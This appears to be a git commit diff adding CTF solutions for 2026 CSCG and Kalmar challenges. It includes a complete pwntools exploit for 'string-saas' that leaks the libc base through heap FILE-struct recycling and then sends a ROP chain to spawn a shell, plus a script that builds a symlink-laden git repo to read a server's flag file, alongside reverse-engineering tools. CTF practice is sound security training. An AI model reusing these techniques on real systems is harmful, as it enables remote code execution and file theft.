cleanup
This commit is contained in:
36
2026/cscg/pwn/string-saas/Dockerfile
Normal file
36
2026/cscg/pwn/string-saas/Dockerfile
Normal file
@@ -0,0 +1,36 @@
|
||||
FROM ubuntu:jammy-20240125@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:4c97fd03a3b181996b1473f3a99b69a1efc6ecaf2b4ede061b6bd60a96b9325a \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.0/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN \
|
||||
--mount=type=cache,target=/var/cache/apt,sharing=locked \
|
||||
--mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && apt-get install -y \
|
||||
make xz-utils gcc unzip file sudo
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
|
||||
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
|
||||
/app/ynetd-0.1.2.tar.xz
|
||||
|
||||
RUN tar -xJf /app/ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && make
|
||||
|
||||
ADD --chmod=0600 getflag.c .
|
||||
ADD --chmod=0755 run.sh .
|
||||
COPY Makefile string-saas.c .
|
||||
RUN make string-saas getflag
|
||||
RUN rm getflag.c string-saas.c
|
||||
|
||||
RUN sha256sum string-saas
|
||||
RUN echo 62350b02e19b9535e3e8e7e34792ac4c2cd1f86bc8563a9b6c4d24305ab48331 string-saas | sha256sum --check
|
||||
|
||||
RUN mkdir /app/tmp
|
||||
RUN chmod 777 /app/tmp
|
||||
|
||||
EXPOSE 1024
|
||||
CMD [ "/app/ynetd-0.1.2/ynetd", "-si", "y", "-so", "y", "-se", "y", \
|
||||
"-p", "1024", "-d", "/app", "/app/string-saas" ]
|
||||
BIN
2026/cscg/pwn/string-saas/ld-2.35.so
Executable file
BIN
2026/cscg/pwn/string-saas/ld-2.35.so
Executable file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/libc.so.6
Executable file
BIN
2026/cscg/pwn/string-saas/libc.so.6
Executable file
Binary file not shown.
8
2026/cscg/pwn/string-saas/run.sh
Executable file
8
2026/cscg/pwn/string-saas/run.sh
Executable file
@@ -0,0 +1,8 @@
|
||||
#!/bin/bash
|
||||
|
||||
unzip -qnd tmp "$1"
|
||||
for f in $(zipinfo -1 "$1"); do
|
||||
[ -L "tmp/$f" ] && continue
|
||||
file "tmp/$f" | grep -q ELF && \
|
||||
sudo -u nobody strings "tmp/$f" | grep -v CSCG # no fleg
|
||||
done
|
||||
185
2026/cscg/pwn/string-saas/solve.py
Normal file
185
2026/cscg/pwn/string-saas/solve.py
Normal file
@@ -0,0 +1,185 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Exploit for string-saas (CSCG CTF)
|
||||
===================================
|
||||
Vulns:
|
||||
1) Heap info-leak via FILE-struct recycling in analyze()
|
||||
2) Stack buffer overflow in main (fgets 64 into buf[32])
|
||||
|
||||
Mitigations: Full RELRO, PIE, NX, no canary.
|
||||
Server: ynetd (fork-based → stable ASLR per restart).
|
||||
|
||||
Step 1 – Leak libc via analyze()
|
||||
• First analyze(): send a valid ZIP → fopen/fclose puts a freed
|
||||
locked_FILE struct into a tcache bin.
|
||||
• Second analyze(): send base64 that decodes to exactly 464 bytes
|
||||
of non-null, non-ZIP data. decode()'s malloc recycles the freed
|
||||
FILE chunk. The decoded 464 bytes overwrite the chunk's front;
|
||||
the _IO_wide_data._wide_vtable pointer at offset 464 survives
|
||||
untouched. fprintf(stderr, "Not a ZIP: %s\n", buf) prints past
|
||||
our data and leaks the vtable pointer (_IO_wfile_jumps).
|
||||
|
||||
Step 2 – ROP via buffer overflow
|
||||
Payload (63 bytes, NO embedded 0x0a):
|
||||
32 B padding | 8 B fake rbp | 8 B pop_rdi;ret |
|
||||
8 B &"/bin/sh" | 7 B do_system+2
|
||||
fgets's NUL terminator supplies byte 7 of the last address (0x00).
|
||||
Immediately after the 63 raw bytes we append b"exit\n".
|
||||
• fgets #1 reads the 63-byte ROP blob (no newline → stops at n-1=63).
|
||||
• fgets #2 reads "exit\n" into buf[0..4] without touching buf[40..63].
|
||||
• main does leave;ret → pop rdi → "/bin/sh" → do_system+2 → shell!
|
||||
|
||||
We jump to do_system+2 (skipping `push r15`) to fix 16-byte stack
|
||||
alignment that system()'s movaps [rsp] requires.
|
||||
"""
|
||||
|
||||
from pwn import *
|
||||
import base64, zipfile, io, sys
|
||||
|
||||
# ── CONFIG ────────────────────────────────────────────────────────
|
||||
REMOTE_HOST = "t5b46wguuorhymil3pq25tocmk-1024-string-saas.challenge.cscg.live" # set e.g. "pwn.cscg.live"
|
||||
REMOTE_PORT = 443 # set e.g. 1024
|
||||
|
||||
# Offsets for the *provided* libc (Ubuntu GLIBC 2.35-0ubuntu3.6)
|
||||
LIBC_IO_WFILE_JUMPS = 0x2170c0
|
||||
LIBC_POP_RDI = 0x2a3e5
|
||||
LIBC_BINSH = 0x1d8678
|
||||
LIBC_DO_SYSTEM_P2 = 0x50902 # do_system+2, skips push r15 for alignment
|
||||
|
||||
LEAK_DECODE_SIZE = 464 # decoded bytes that recycle the FILE chunk
|
||||
# ──────────────────────────────────────────────────────────────────
|
||||
|
||||
context.binary = ELF('./string-saas_patched', checksec=False)
|
||||
context.log_level = 'info'
|
||||
|
||||
# Override with local libc if running locally
|
||||
USE_LOCAL = (REMOTE_HOST is None)
|
||||
if USE_LOCAL:
|
||||
_libc = ELF('./libc.so.6', checksec=False)
|
||||
LIBC_IO_WFILE_JUMPS = _libc.symbols['_IO_wfile_jumps']
|
||||
LIBC_POP_RDI = ROP(_libc, badchars=b'\n').find_gadget(['pop rdi', 'ret'])[0]
|
||||
LIBC_BINSH = next(_libc.search(b'/bin/sh\x00'))
|
||||
# find do_system jmp target
|
||||
import subprocess as _sp
|
||||
_r = _sp.run(['objdump','-d','-M','intel',
|
||||
f'--start-address={hex(_libc.symbols["system"])}',
|
||||
f'--stop-address={hex(_libc.symbols["system"]+20)}',
|
||||
'/lib/x86_64-linux-gnu/libc.so.6'], capture_output=True, text=True)
|
||||
for _line in _r.stdout.split('\n'):
|
||||
if 'jmp' in _line and ':' in _line:
|
||||
for _tok in _line.split():
|
||||
try:
|
||||
_v = int(_tok, 16)
|
||||
if _v > 0x10000:
|
||||
LIBC_DO_SYSTEM_P2 = _v + 2
|
||||
except: pass
|
||||
log.info(f"Local offsets: wfile=0x{LIBC_IO_WFILE_JUMPS:x} pop_rdi=0x{LIBC_POP_RDI:x} "
|
||||
f"binsh=0x{LIBC_BINSH:x} dosys2=0x{LIBC_DO_SYSTEM_P2:x}")
|
||||
|
||||
def conn():
|
||||
if REMOTE_HOST:
|
||||
return remote(REMOTE_HOST, REMOTE_PORT, ssl=True)
|
||||
else:
|
||||
return process('./string-saas_patched', stderr=STDOUT)
|
||||
|
||||
def make_zip_b64():
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, 'w') as zf:
|
||||
zf.writestr('t.txt', 'A')
|
||||
return base64.b64encode(buf.getvalue())
|
||||
|
||||
def do_leak(p):
|
||||
"""
|
||||
Leak _IO_wfile_jumps address via FILE-struct recycling.
|
||||
Returns the leaked libc address or None.
|
||||
"""
|
||||
b64_zip = make_zip_b64()
|
||||
|
||||
# 1) Valid ZIP → triggers fopen / fwrite / fclose
|
||||
p.sendline(b'analyze')
|
||||
p.recvuntil(b'ZIP:')
|
||||
p.sendline(b64_zip)
|
||||
p.recvuntil(b'> ')
|
||||
|
||||
# 2) Non-ZIP → recycled FILE chunk leaks via fprintf %s
|
||||
raw = b'\x41' * LEAK_DECODE_SIZE # 464 bytes of 'A'
|
||||
p.sendline(b'analyze')
|
||||
p.recvuntil(b'ZIP:')
|
||||
p.sendline(base64.b64encode(raw))
|
||||
resp = p.recvuntil(b'> ', timeout=5)
|
||||
|
||||
if b'Not a ZIP: ' not in resp:
|
||||
return None
|
||||
start = resp.index(b'Not a ZIP: ') + len(b'Not a ZIP: ')
|
||||
end = resp.index(b'\n', start)
|
||||
data = resp[start:end]
|
||||
extra = data[LEAK_DECODE_SIZE:]
|
||||
|
||||
if len(extra) < 6:
|
||||
return None
|
||||
return u64(extra[:6].ljust(8, b'\x00'))
|
||||
|
||||
|
||||
# ── MAIN ──────────────────────────────────────────────────────────
|
||||
MAX_LEAK_TRIES = 50
|
||||
|
||||
for attempt in range(1, MAX_LEAK_TRIES + 1):
|
||||
p = conn()
|
||||
p.recvuntil(b'> ')
|
||||
|
||||
leaked = do_leak(p)
|
||||
if leaked is None:
|
||||
log.info(f"Attempt {attempt}/{MAX_LEAK_TRIES}: leak too short, retrying…")
|
||||
p.close()
|
||||
continue
|
||||
|
||||
libc_base = leaked - LIBC_IO_WFILE_JUMPS
|
||||
if libc_base & 0xfff:
|
||||
log.warn(f"Attempt {attempt}: base not page-aligned (0x{libc_base:x}), retrying…")
|
||||
input()
|
||||
p.close()
|
||||
continue
|
||||
|
||||
log.success(f"libc base = 0x{libc_base:x}")
|
||||
|
||||
pop_rdi = libc_base + LIBC_POP_RDI
|
||||
binsh = libc_base + LIBC_BINSH
|
||||
dosys2 = libc_base + LIBC_DO_SYSTEM_P2
|
||||
|
||||
# Build 63-byte ROP blob
|
||||
payload = b'A' * 32 # input_buf (32 B)
|
||||
payload += b'B' * 8 # saved rbp (don't care)
|
||||
payload += p64(pop_rdi) # saved rip → pop rdi; ret
|
||||
payload += p64(binsh) # → "/bin/sh"
|
||||
payload += p64(dosys2)[:7] # → do_system+2 (byte 7 = \0 by fgets)
|
||||
|
||||
assert len(payload) == 63, f"payload len {len(payload)} != 63"
|
||||
|
||||
if b'\x0a' in payload:
|
||||
log.warn(f"Attempt {attempt}: 0x0a in ROP payload (bad ASLR luck). "
|
||||
"Need server restart for new layout.")
|
||||
p.close()
|
||||
# On a fork server the layout is fixed until restart.
|
||||
# If running locally each process() gives new ASLR.
|
||||
continue
|
||||
|
||||
log.info("Sending overflow + 'exit' trigger…")
|
||||
p.send(payload + b'exit\n')
|
||||
p.recvuntil(b'ok, bye!')
|
||||
log.success("main returned → ROP chain executing")
|
||||
|
||||
# Give the shell a moment to start
|
||||
import time; time.sleep(0.2)
|
||||
p.sendline(b'echo "SHELL_OK"')
|
||||
try:
|
||||
p.recvuntil(b'SHELL_OK', timeout=3)
|
||||
log.success("Got shell!")
|
||||
except EOFError:
|
||||
log.warn("Shell died — alignment or constraint issue")
|
||||
p.close()
|
||||
continue
|
||||
|
||||
p.interactive()
|
||||
break
|
||||
else:
|
||||
log.failure(f"Failed after {MAX_LEAK_TRIES} attempts")
|
||||
BIN
2026/cscg/pwn/string-saas/string-saas
Executable file
BIN
2026/cscg/pwn/string-saas/string-saas
Executable file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id0
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id0
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id1
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id1
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id2
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id2
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.nam
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.nam
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.til
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.til
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas_patched
Executable file
BIN
2026/cscg/pwn/string-saas/string-saas_patched
Executable file
Binary file not shown.
1
2026/cscg/pwn/string-saas/tmp/t.txt
Normal file
1
2026/cscg/pwn/string-saas/tmp/t.txt
Normal file
@@ -0,0 +1 @@
|
||||
A
|
||||
BIN
2026/cscg/pwn/string-saas/tmp/tmp.zip
Normal file
BIN
2026/cscg/pwn/string-saas/tmp/tmp.zip
Normal file
Binary file not shown.
45
2026/cscg/rev/gloomweaver/dump_hook.c
Normal file
45
2026/cscg/rev/gloomweaver/dump_hook.c
Normal file
@@ -0,0 +1,45 @@
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
|
||||
int puts(const char *s) {
|
||||
FILE *maps = fopen("/proc/self/maps", "r");
|
||||
char line[512];
|
||||
uintptr_t base = 0;
|
||||
|
||||
while (fgets(line, sizeof(line), maps)) {
|
||||
if (strstr(line, "gloomweaver") && strstr(line, "rwxp")) {
|
||||
sscanf(line, "%lx", &base);
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(maps);
|
||||
|
||||
if (base) {
|
||||
uintptr_t text = base - 0x1000; // file base (rwxp is at offset 0x1000)
|
||||
|
||||
// Dump the 55x55 matrix at virtual 0x1253 (in rw-p segment at offset 0)
|
||||
FILE *f;
|
||||
f = fopen("/tmp/matrix_1253.bin", "wb");
|
||||
fwrite((void *)(text + 0x1253), 1, 55*55, f); fclose(f);
|
||||
|
||||
f = fopen("/tmp/table_2605.bin", "wb");
|
||||
fwrite((void *)(text + 0x2605), 1, 55, f); fclose(f);
|
||||
|
||||
f = fopen("/tmp/table_2697.bin", "wb");
|
||||
fwrite((void *)(text + 0x2697), 1, 55, f); fclose(f);
|
||||
|
||||
// Expected output: 55 words = 110 bytes
|
||||
f = fopen("/tmp/expected_2119.bin", "wb");
|
||||
fwrite((void *)(text + 0x2119), 1, 110, f); fclose(f);
|
||||
|
||||
// Also dump the full patched code again with broader range
|
||||
f = fopen("/tmp/full_dump.bin", "wb");
|
||||
fwrite((void *)text, 1, 0x8000, f); fclose(f);
|
||||
}
|
||||
|
||||
write(1, s, strlen(s));
|
||||
write(1, "\n", 1);
|
||||
return 0;
|
||||
}
|
||||
BIN
2026/cscg/rev/gloomweaver/dump_hook.so
Executable file
BIN
2026/cscg/rev/gloomweaver/dump_hook.so
Executable file
Binary file not shown.
28
2026/cscg/rev/gloomweaver/find_hash.py
Normal file
28
2026/cscg/rev/gloomweaver/find_hash.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# find_hash.py — find a flag that passes the checksum
|
||||
import struct
|
||||
|
||||
def compute_hash(flag_bytes):
|
||||
eax = 0x65
|
||||
for b in flag_bytes:
|
||||
ecx = eax & 0xFFFFFFFF
|
||||
edx = eax & 0xFF # dl only
|
||||
ecx = (ecx << 6) & 0xFFFFFFFF
|
||||
edx = (edx >> 6) & 0xFF
|
||||
eax = (eax + ecx) & 0xFFFFFFFF
|
||||
eax = (eax + edx) & 0xFFFFFFFF
|
||||
eax ^= b
|
||||
return eax & 0xFF
|
||||
|
||||
prefix = b"CTF{th1s_"
|
||||
suffix = b"}"
|
||||
# 64 bytes total: 9 prefix + 54 middle + 1 suffix
|
||||
# Try different last middle byte
|
||||
for last in range(0x21, 0x7F):
|
||||
middle = b"A" * 53 + bytes([last])
|
||||
flag = prefix + middle + suffix
|
||||
assert len(flag) == 64
|
||||
h = compute_hash(flag)
|
||||
if h == 0x0C:
|
||||
print(f"Found: {flag.decode()}")
|
||||
print(f"Hash: 0x{h:02x}")
|
||||
break
|
||||
BIN
2026/cscg/rev/gloomweaver/gloomweaver
Executable file
BIN
2026/cscg/rev/gloomweaver/gloomweaver
Executable file
Binary file not shown.
BIN
2026/cscg/rev/gloomweaver/gloomweaver.bak
Normal file
BIN
2026/cscg/rev/gloomweaver/gloomweaver.bak
Normal file
Binary file not shown.
BIN
2026/cscg/rev/gloomweaver/gloomweaver.i64
Normal file
BIN
2026/cscg/rev/gloomweaver/gloomweaver.i64
Normal file
Binary file not shown.
1
2026/cscg/rev/gloomweaver/hash_CTF
Normal file
1
2026/cscg/rev/gloomweaver/hash_CTF
Normal file
@@ -0,0 +1 @@
|
||||
caf5d17185a42bf99e74224d738c33e555aa086b27ee5de56bc35053dc386c1a /tmp/gloom_region_0.bin
|
||||
1
2026/cscg/rev/gloomweaver/hash_dach
Normal file
1
2026/cscg/rev/gloomweaver/hash_dach
Normal file
@@ -0,0 +1 @@
|
||||
4c77553b5cfaa9c0f896574baecaf29cf0625943299999cbe436cb4e708724c1 /tmp/gloom_region_0.bin
|
||||
95
2026/cscg/rev/gloomweaver/solve.py
Normal file
95
2026/cscg/rev/gloomweaver/solve.py
Normal file
@@ -0,0 +1,95 @@
|
||||
# solve.py
|
||||
import numpy as np
|
||||
|
||||
# Load tables
|
||||
matrix_raw = open("/tmp/matrix_1253.bin", "rb").read()
|
||||
table_a = open("/tmp/table_2605.bin", "rb").read() # 55 bytes
|
||||
table_b = open("/tmp/table_2697.bin", "rb").read() # 55 bytes
|
||||
expected_raw = open("/tmp/expected_2119.bin", "rb").read() # 110 bytes
|
||||
|
||||
# Build coefficient matrix mod 256
|
||||
# coeff[i][j] = ((table_a[i] * table_b[j] * 1337) & 0xFF + matrix[i*55+j]) & 0xFF
|
||||
M = np.zeros((55, 55), dtype=np.int64)
|
||||
for i in range(55):
|
||||
for j in range(55):
|
||||
ab = table_a[i] * table_b[j] # 8x8 -> 16-bit
|
||||
val = (ab * 1337) & 0xFF # imul then take low byte
|
||||
val = (val + matrix_raw[i * 55 + j]) & 0xFF # add matrix element
|
||||
M[i][j] = val
|
||||
|
||||
# Expected values — try byte extraction (every other byte = low bytes of words)
|
||||
# The cmpsw comparison uses words, so expected is 55 x 2-byte values
|
||||
# Result bytes are at rsp[0..54], compared as words: (rsp[0],rsp[1]), (rsp[2],rsp[3])...
|
||||
# Since only odd-indexed bytes have values, let's try both interpretations
|
||||
|
||||
# Interpretation 1: expected is just the first 55 bytes
|
||||
expected_bytes = list(expected_raw[:55])
|
||||
|
||||
# Interpretation 2: expected is every other byte (word low bytes)
|
||||
expected_words_lo = [expected_raw[i*2] for i in range(55)]
|
||||
|
||||
print("Expected (first 55 bytes):", [hex(x) for x in expected_bytes[:10]])
|
||||
print("Expected (word lo bytes):", [hex(x) for x in expected_words_lo[:10]])
|
||||
|
||||
# Gaussian elimination mod 256
|
||||
def solve_mod256(M, b):
|
||||
n = len(b)
|
||||
# Augmented matrix
|
||||
aug = np.zeros((n, n+1), dtype=np.int64)
|
||||
for i in range(n):
|
||||
for j in range(n):
|
||||
aug[i][j] = M[i][j] % 256
|
||||
aug[i][n] = b[i] % 256
|
||||
|
||||
# Forward elimination
|
||||
for col in range(n):
|
||||
# Find pivot with odd value (invertible mod 256 requires gcd(pivot,256)=1)
|
||||
pivot = -1
|
||||
for row in range(col, n):
|
||||
if aug[row][col] % 2 == 1: # odd = invertible mod 256
|
||||
pivot = row
|
||||
break
|
||||
if pivot == -1:
|
||||
print(f"No odd pivot at column {col}, trying any nonzero...")
|
||||
for row in range(col, n):
|
||||
if aug[row][col] != 0:
|
||||
pivot = row
|
||||
break
|
||||
if pivot == -1:
|
||||
print(f"Singular at column {col}")
|
||||
return None
|
||||
|
||||
# Swap
|
||||
aug[[col, pivot]] = aug[[pivot, col]]
|
||||
|
||||
# Compute inverse of pivot mod 256
|
||||
pv = int(aug[col][col]) % 256
|
||||
inv = pow(pv, -1, 256) if pv % 2 == 1 else None
|
||||
if inv is None:
|
||||
print(f"Non-invertible pivot {pv} at col {col}")
|
||||
return None
|
||||
|
||||
# Scale pivot row
|
||||
aug[col] = (aug[col] * inv) % 256
|
||||
|
||||
# Eliminate
|
||||
for row in range(n):
|
||||
if row != col and aug[row][col] != 0:
|
||||
factor = int(aug[row][col])
|
||||
aug[row] = (aug[row] - factor * aug[col]) % 256
|
||||
|
||||
solution = aug[:, n] % 256
|
||||
return solution
|
||||
|
||||
# Try both interpretations
|
||||
for name, expected in [("first_55_bytes", expected_bytes),
|
||||
("word_lo_bytes", expected_words_lo)]:
|
||||
print(f"\n=== Trying {name} ===")
|
||||
sol = solve_mod256(M, expected)
|
||||
if sol is not None:
|
||||
flag_content = bytes([int(x) for x in sol])
|
||||
flag = b"CTF{th1s" + flag_content + b"}"
|
||||
printable = all(0x20 <= b < 0x7f for b in flag_content)
|
||||
print(f"Solution: {flag}")
|
||||
print(f"Printable: {printable}")
|
||||
print(f"Hex: {flag_content.hex()}")
|
||||
20
2026/cscg/rev/gloomweaver/trace_hook.c
Normal file
20
2026/cscg/rev/gloomweaver/trace_hook.c
Normal file
@@ -0,0 +1,20 @@
|
||||
// trace_hook.c — intercept signal handler to log VM state
|
||||
#define _GNU_SOURCE
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
static FILE *trace;
|
||||
|
||||
int sigaction(int signum, const struct sigaction *act,
|
||||
struct sigaction *oldact) {
|
||||
// Log which signals are being registered
|
||||
if (!trace) trace = fopen("/tmp/vm_trace.txt", "w");
|
||||
fprintf(trace, "sigaction(%d)\n", signum);
|
||||
fflush(trace);
|
||||
|
||||
// Call real sigaction
|
||||
int (*real)(int, const struct sigaction*, struct sigaction*) =
|
||||
dlsym(RTLD_NEXT, "sigaction");
|
||||
return real(signum, act, oldact);
|
||||
}
|
||||
BIN
2026/cscg/rev/gloomweaver/trace_hook.so
Executable file
BIN
2026/cscg/rev/gloomweaver/trace_hook.so
Executable file
Binary file not shown.
BIN
2026/cscg/rev/gloomweaver/tracer
Executable file
BIN
2026/cscg/rev/gloomweaver/tracer
Executable file
Binary file not shown.
64
2026/cscg/rev/gloomweaver/tracer.c
Normal file
64
2026/cscg/rev/gloomweaver/tracer.c
Normal file
@@ -0,0 +1,64 @@
|
||||
// tracer2.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/user.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
pid_t child = fork();
|
||||
if (child == 0) {
|
||||
ptrace(PTRACE_TRACEME, 0, 0, 0);
|
||||
raise(SIGSTOP);
|
||||
execv(argv[1], &argv[1]);
|
||||
perror("exec");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
|
||||
// Use TRACEEXEC to catch the exec, then CONT (not SYSCALL)
|
||||
ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACEEXEC);
|
||||
ptrace(PTRACE_CONT, child, 0, 0);
|
||||
|
||||
FILE *log = fopen("/tmp/signal_trace.txt", "w");
|
||||
int count = 0;
|
||||
|
||||
while (1) {
|
||||
waitpid(child, &status, 0);
|
||||
|
||||
if (WIFEXITED(status)) {
|
||||
fprintf(log, "Exited: %d (signals: %d)\n", WEXITSTATUS(status), count);
|
||||
break;
|
||||
}
|
||||
if (WIFSIGNALED(status)) {
|
||||
fprintf(log, "Killed by signal %d\n", WTERMSIG(status));
|
||||
break;
|
||||
}
|
||||
if (WIFSTOPPED(status)) {
|
||||
int sig = WSTOPSIG(status);
|
||||
|
||||
// Exec event — swallow, continue
|
||||
if (status >> 8 == (SIGTRAP | (PTRACE_EVENT_EXEC << 8))) {
|
||||
fprintf(log, "Exec event\n");
|
||||
ptrace(PTRACE_CONT, child, 0, 0);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct user_regs_struct regs;
|
||||
ptrace(PTRACE_GETREGS, child, 0, ®s);
|
||||
fprintf(log, "Signal %2d at RIP=0x%llx RDI=%lld RSI=0x%llx\n",
|
||||
sig, regs.rip, regs.rdi, regs.rsi);
|
||||
fflush(log);
|
||||
count++;
|
||||
|
||||
// Forward the signal
|
||||
ptrace(PTRACE_CONT, child, 0, sig);
|
||||
}
|
||||
}
|
||||
|
||||
fclose(log);
|
||||
return 0;
|
||||
}
|
||||
BIN
2026/kalmar/misc/babykalmarctf/rootevilbabykalmarctf_handout.zip
Normal file
BIN
2026/kalmar/misc/babykalmarctf/rootevilbabykalmarctf_handout.zip
Normal file
Binary file not shown.
31
2026/kalmar/misc/git-hoarder/exploit.sh
Normal file
31
2026/kalmar/misc/git-hoarder/exploit.sh
Normal file
@@ -0,0 +1,31 @@
|
||||
# 1. Create the base repository with a commit
|
||||
mkdir base_repo && cd base_repo
|
||||
git init
|
||||
git commit --allow-empty -m "init"
|
||||
cd ..
|
||||
|
||||
# 2. Create the bare clone (the payload)
|
||||
git clone --bare base_repo malicious.git
|
||||
|
||||
# 3. Inject the symlink
|
||||
cd malicious.git
|
||||
ln -s /app/flag.txt shallow
|
||||
|
||||
# 4. Force Git to track the refs directories
|
||||
mkdir -p refs/heads refs/tags
|
||||
touch refs/.keep
|
||||
touch refs/heads/.keep
|
||||
touch refs/tags/.keep
|
||||
cd ..
|
||||
|
||||
# 5. Wrap it for delivery
|
||||
mkdir wrapper && cd wrapper
|
||||
git init
|
||||
cp -r ../malicious.git .
|
||||
git add malicious.git
|
||||
git commit -m "Delivery package with refs tracked"
|
||||
|
||||
# 6. Push to your server
|
||||
git branch -M main
|
||||
git remote add origin https://gitea.cato447.de/cato447/pwn.git
|
||||
git push -u origin main -f
|
||||
12
2026/kalmar/misc/git-hoarder/handout/Dockerfile
Normal file
12
2026/kalmar/misc/git-hoarder/handout/Dockerfile
Normal file
@@ -0,0 +1,12 @@
|
||||
FROM archlinux:latest
|
||||
|
||||
RUN pacman --noconfirm -Sy socat python3 git
|
||||
|
||||
RUN mkdir /app
|
||||
COPY clone.py /app/clone.py
|
||||
COPY ./flag.txt /app/flag.txt
|
||||
RUN useradd -m -k user:user user
|
||||
USER user
|
||||
WORKDIR /tmp
|
||||
|
||||
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"python3 /app/clone.py",stderr
|
||||
4
2026/kalmar/misc/git-hoarder/handout/clone.py
Normal file
4
2026/kalmar/misc/git-hoarder/handout/clone.py
Normal file
@@ -0,0 +1,4 @@
|
||||
import subprocess
|
||||
git_url = input('Git url to clone > ')
|
||||
subprocess.run(["git", "clone", git_url], capture_output=False)
|
||||
print('Done cloning!')
|
||||
5
2026/kalmar/misc/git-hoarder/handout/compose.yml
Normal file
5
2026/kalmar/misc/git-hoarder/handout/compose.yml
Normal file
@@ -0,0 +1,5 @@
|
||||
services:
|
||||
githoarder:
|
||||
build: .
|
||||
ports:
|
||||
- 1444:1337
|
||||
1
2026/kalmar/misc/git-hoarder/handout/flag.txt
Normal file
1
2026/kalmar/misc/git-hoarder/handout/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
kalmar{test_flag}
|
||||
BIN
2026/kalmar/rev/oracle/0racle.exe
Executable file
BIN
2026/kalmar/rev/oracle/0racle.exe
Executable file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/0racle.exe.i64
Normal file
BIN
2026/kalmar/rev/oracle/0racle.exe.i64
Normal file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/layer4_sc.bin
Normal file
BIN
2026/kalmar/rev/oracle/layer4_sc.bin
Normal file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/layer4_sc.bin.i64
Normal file
BIN
2026/kalmar/rev/oracle/layer4_sc.bin.i64
Normal file
Binary file not shown.
BIN
2026/kalmar/rev/oracle/solve
Executable file
BIN
2026/kalmar/rev/oracle/solve
Executable file
Binary file not shown.
79
2026/kalmar/rev/oracle/solve.cpp
Normal file
79
2026/kalmar/rev/oracle/solve.cpp
Normal file
@@ -0,0 +1,79 @@
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <stdint.h>
|
||||
#include <future>
|
||||
|
||||
const uint32_t BASIS = 0x811c9dc5;
|
||||
const uint32_t PRIME = 0x1000193;
|
||||
const std::string CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_";
|
||||
|
||||
uint32_t fnv1a(const std::string& s) {
|
||||
uint32_t hash = BASIS;
|
||||
for (unsigned char c : s) {
|
||||
hash ^= c;
|
||||
hash *= PRIME;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Recursive cracker for a specific segment
|
||||
std::string crack(int length, uint32_t target) {
|
||||
std::string current(length, CHARSET[0]);
|
||||
|
||||
auto backtrack = [&](auto self, int depth) -> bool {
|
||||
if (depth == length) {
|
||||
return fnv1a(current) == target;
|
||||
}
|
||||
for (char c : CHARSET) {
|
||||
current[depth] = c;
|
||||
if (self(self, depth + 1)) return true;
|
||||
}
|
||||
return false;
|
||||
};
|
||||
|
||||
if (backtrack(backtrack, 0)) return current;
|
||||
return "?????";
|
||||
}
|
||||
|
||||
int main() {
|
||||
struct Segment {
|
||||
int id;
|
||||
int len;
|
||||
uint32_t hash;
|
||||
};
|
||||
|
||||
std::vector<Segment> segments = {
|
||||
{1, 4, 0x1fdb82eb}, // 7:11
|
||||
{2, 3, 0xc498c8a6}, // 12:15
|
||||
{3, 5, 0xd451383b}, // 16:21
|
||||
{4, 3, 0xf1d1bdc9}, // 22:25
|
||||
{5, 5, 0x5768cca7}, // 26:31
|
||||
{6, 3, 0xe25d1966}, // 32:35
|
||||
{7, 4, 0x45b2772b} // 36:40
|
||||
};
|
||||
|
||||
std::vector<std::future<std::string>> workers;
|
||||
std::cout << "[*] Launching 7 parallel threads for FNV-1a brute-force..." << std::endl;
|
||||
|
||||
for (const auto& s : segments) {
|
||||
workers.push_back(std::async(std::launch::async, crack, s.len, s.hash));
|
||||
}
|
||||
|
||||
std::vector<std::string> results;
|
||||
for (size_t i = 0; i < workers.size(); ++i) {
|
||||
std::string found = workers[i].get();
|
||||
results.push_back(found);
|
||||
std::cout << "[+] Segment " << i + 1 << " (" << segments[i].len << " chars): " << found << std::endl;
|
